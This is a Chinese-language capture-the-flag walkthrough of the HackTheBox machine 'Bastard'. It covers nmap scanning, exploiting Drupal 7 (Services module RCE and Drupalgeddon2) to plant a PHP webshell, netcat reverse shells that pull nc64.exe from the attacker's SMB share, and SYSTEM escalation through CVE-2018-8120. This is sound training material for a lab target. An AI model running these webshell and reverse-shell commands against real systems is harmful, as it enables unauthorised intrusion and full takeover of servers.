HTB靶机-Bastard
连接到HackTheBox
在HTB网站下载vpn文件,使用openvpn进行连接
1 | sudo openvpn lab_dguthacker.ovpn |
连接成功后启动靶机,对靶机进行ping测试,测试连接稳定性,并查看本机在虚拟网络中的地址
可以看到本机ip为10.10.16.3,与靶机10.10.10.9连接延迟110+ms,无丢包,连接较稳定。
nmap信息收集
TCP端口信息收集
1 | sudo nmap -sT --min-rate 10000 -p- 10.10.10.9 -oA nmapscan/ports |
解析:
- -sT:TCP扫描
- –min-rate 10000:最小速率10000
- -p-:全端口扫描
- -oA:结果全格式输出保存到nmapscan/ports
从结果上看,有三个端口是开放的。
进行UDP端口信息收集
1 | sudo nmap -sU --top-ports 20 10.10.10.9 -oA nmapscan/UDP |
解析:
- -sU:UDP扫描
- –top-ports 20:最常用的20个端口
可以看到扫描结果都是open|filtered
的状态,没有利用价值。
进行详细信息扫描
1 | sudo nmap -sT -sV -sC -O -p80,135,49154 10.10.10.9 -oA nmapscan/detail |
解析:
- -sV:探测各服务版本
- -sC:使用默认脚本扫描
- -O:探测操作系统
- -p80,135,49154:指定上面TCP扫描出来的三个端口
扫描结果
1 | PORT STATE SERVICE VERSION |
结果解析:
-
80/tcp open http Microsoft IIS httpd 7.5:使用的是IIS httpd 7.5版本
-
|_http-generator: Drupal 7 (http://drupal.org):网页使用的框架为Drupal 7
-
其中包含一些文件:
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt -
135和49154都是RPC,即远程调用,功能性服务
-
这些是操作系统可能性的列表:
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
我们也可以通过IIS的版本来判断Windows的版本
WEB渗透测试
由于存在WEB服务,因此我们可以使用一些WEB渗透的思路来对服务器进行测试。
WHATWEB扫描网站
由于存在80服务,即网页服务,所以我们可以通过WHATWEB来扫描网站信息
1 | whatweb 10.10.10.9 |
弱密码尝试
首先我们想到使用默认密码,但是我们经过搜索引擎查询发现,Drupal似乎不存在默认密码。现代化的框架大多不会存在默认密码,都会给出一串随机密码,或者是要求首次登录就修改密码。
然后我们就来尝试常见的密码,例如admin/admin之类的,随便试几个即可,发现都失败了。
robots信息利用
我们在nmap详细信息扫描时,发现是存在robots文件的,robots文件内包含着许多目录
我们注意到有一个/CHANGELOG.txt
,这个文件我们需要注意,往往里面包含着一些我们可能用得上的信息。其他文件我们还需要注意README
、update
之类的文件,都会包含一些对我们有效的信息。现在我们打开CHANGELOG.txt
我们得知Drupal具体的版本信息为7.54。用searchsploit搜索drupal相关的可利用漏洞,在结果比较多的情况下,我们可以先搜索全部漏洞,然后用排除参数排除掉我们不需要的关键词
现在我们排除关键词Metasploit
、Denial of Service
1 | searchsploit drupal --exclude="(Metasploit)|Denial of Service" |
经过我们再次手动筛选后,可以筛选出几个符合我们版本号的漏洞
- Drupal 7.x Module Services - Remote Code Execution
- Drupal < 7.58 - ‘Drupalgeddon3’ (Authenticated) Remote Code Execution (PoC)
- Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - ‘Drupalgeddon2’ Remote Code Execution
我们将这三个漏洞利用方法下载下来
我们使用ls -lah
可以看到我们已经将利用方式下载下来了。
41564漏洞使用尝试
使用任意编辑器打开文件,阅读注释
翻译一下大概是
- 使用SQL注入获取当前端点的缓存内容,包括管理员凭据和哈希值。
- 修改缓存,使我们能够写入文件,并执行操作。
- 还原缓存。
接着我们需要修改php内的相关参数,完成一些选项的初始化。
通过注释,我们可以发现需要完成初始化设置的部分
其中我们需要注意到的是url
、endpoint_path
、endpoint
、file
四个部分。url修改为我们的目标,即10.10.10.9
,而endpoint_path、endpoint我们不清楚,暂时将其留空。file部分,是我们自定义上传的部分,我们将filename修改成我们自己想要的名称,而data部分填入要在文件内填入的内容,也就是我们的webshell的部分。
保存退出,并执行php 41564.php
。发现出现了报错
这应该是因为我们没有初始化endpoint_path、endpoint部分,我们可以查阅漏洞发布的网站。
我们先来了解一下endpoint和rest_endpoint是什么,来看GPT给出的回答
在Drupal中,“endpoint” 通常指的是与网站或应用程序进行交互的特定URL路径或终点。它可以是用于访问特定功能或服务的端点。在Drupal中,端点可以对应于不同的功能、API请求、页面或其他特定的操作。通过访问这些端点,可以与 Drupal 系统进行交互并执行相应的操作,例如获取、创建、更新或删除内容、用户管理等。每个端点都有其对应的功能和处理逻辑。
在Drupal中,
rest_endpoint
是指用于提供 RESTful Web 服务的特定路径或端点。REST(Representational State Transfer)是一种用于构建分布式系统和设计网络应用程序的软件架构风格。在Drupal中,RESTful Web 服务允许通过 HTTP 请求与网站进行交互,并使用标准的HTTP方法(如GET、POST、PUT、DELETE)来执行各种操作,例如获取、创建、更新或删除内容。rest_endpoint
在Drupal中通常在配置中指定,用于定义 RESTful Web 服务的根路径或可用端点的URL模式。它确定了与 Drupal 系统进行通信时需要访问的特定路径,以便使用 RESTful API 进行数据传输和操作。通过这些端点,可以与 Drupal 网站进行数据交互和集成,从而实现自定义应用程序或与其他系统的集成。
在网站官网,我们找到了这样一句话
The exploitation is completely stealth. Nevertheless, one has to guess or find the endpoint URL, which mitigates the vulnerability a bit.
这个利用过程完全隐秘。然而,仍然需要猜测或找到端点的URL,这在一定程度上减轻了漏洞的影响。
也就是说endpoint的url是需要我们猜测或者是寻找的,这时候我们只能用到目录爆破了。
目录爆破找到endpoint
我们使用到dirsearch进行目录爆破
1 | python3 ../../dirsearch/dirsearch.py -u http://10.10.10.9 -x 403,404,503 -t 50 |
解析:
- -u http://10.10.10.9:指定目标
- -x:排除响应码
- -t:指定线程数量
这个目录爆破将会非常久,长达几个小时。
在经过漫长的等待后,我们在爆破的结果中,发现了一个目录——/rest
,立即访问尝试
证明/rest
确实是我们需要的url。
拿取WebShell
我们可以返回41564.php,修改相关参数
执行php 41564.php
,显示成功
给我们的信息为
- 保存了session信息在session.json
- 保存了用户信息在user.json
- 向缓存写入了7条记录
- 已成功写入文件10.10.10.9/1ce.php
我们尝试访问10.10.10.9/1ce.php,看是否拿到了webshell
很明显我们已经成功拿到webshell。现在我们需要考虑如何利用我们的webshell了,我们这里尝试使用nc制作反弹shell。
从互联网下载一个Windows版本的nc,然后使用smb让被攻击靶机能够使用我们下载的nc。
此命令的含义为以当前文件夹建立一个叫share的smb共享。然后我们开启一个nc的监听
1 | sudo nc -lvnp 4444 |
然后我们构建url让webshell执行nc
1 | 10.10.10.9/1ce.php?1ce=\\10.10.16.3\share\nc64.exe -e cmd.exe 10.10.16.3 4444 |
我们在nc监听处看到shell,这一步做完,我们就拿到了初始权限的shell。
我们在用户目录下就可以找到我们需要的flag
提交验证,完成第一个flag。
实际上还有第二种方式可以拿到webshell,思路大概就是通过我们之前拿到的admin的session,直接通过框架的内容编辑器,然后植入php代码作为webshell。
44449漏洞利用
由于忘记续靶机时长了,导致进度重置。那就试试剩下两种方法的。这个利用基本上是一键就可以成功利用
现在我们已经拿到了一个webshell
似乎具有一定限制,我们无法切换目录,我们现在使用nc将一个shell反弹出去,使我们能用到我们熟悉的shell。执行下面的命令
1 | \\10.10.16.4\share\nc64.exe -e cmd.exe 10.10.16.4 4444 |
在此之前,我们在本机上执行监听
1 | sudo nc -lvnp 4444 |
等待一会后,我们在本机的nc监听上看见了反弹shell
与我们之前的效果一致。接下来的步骤与之前都类似了,不再赘述。
Windows提权
现在我们还需要获取到Root的flag。首先我们可以确定的是,Administrator文件夹内我们是无法进去的。
因此我们需要提升权限以读取到Administrator用户文件夹内的flag。
我们通过systeminfo可知,该系统是没有进行热修复(Hotfix)的。
因为大概率上随便寻找一个在Microsoft Windows Server 2008 R2提权漏洞就可以成功提权。
我们在Github Windows提权漏洞合集(SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com))中搜索R2作为关键词,搜索符合Windows 2008 r2的漏洞。
由于没有Hotfix,所以我们随便点开一个windows-kernel-exploits/CVE-2018-8120 at master · SecWiki/windows-kernel-exploits (github.com)。使用wget下载到我们之前smb共享的目录下,且在远程主机上执行
可以看到,我们已经取得了最高等级的系统权限。然后我们将whoami替换成反弹shell的命令,并开启另外一个监听窗口
1 | \\10.10.16.4\share\x64.exe "\\10.10.16.4\share\nc64.exe -e cmd.exe 10.10.16.4 3333" |
结果发现无法执行
这种情况,大概可以通过重新连接可以解决,因为我们在使用利用程序的时候,环境可能发生了一些变化,导致第二次无法正常执行。重新连接后,我们再次尝试相同的命令
成功得到system级别权限的shell。进入文件夹取得flag
提交flag,完成机器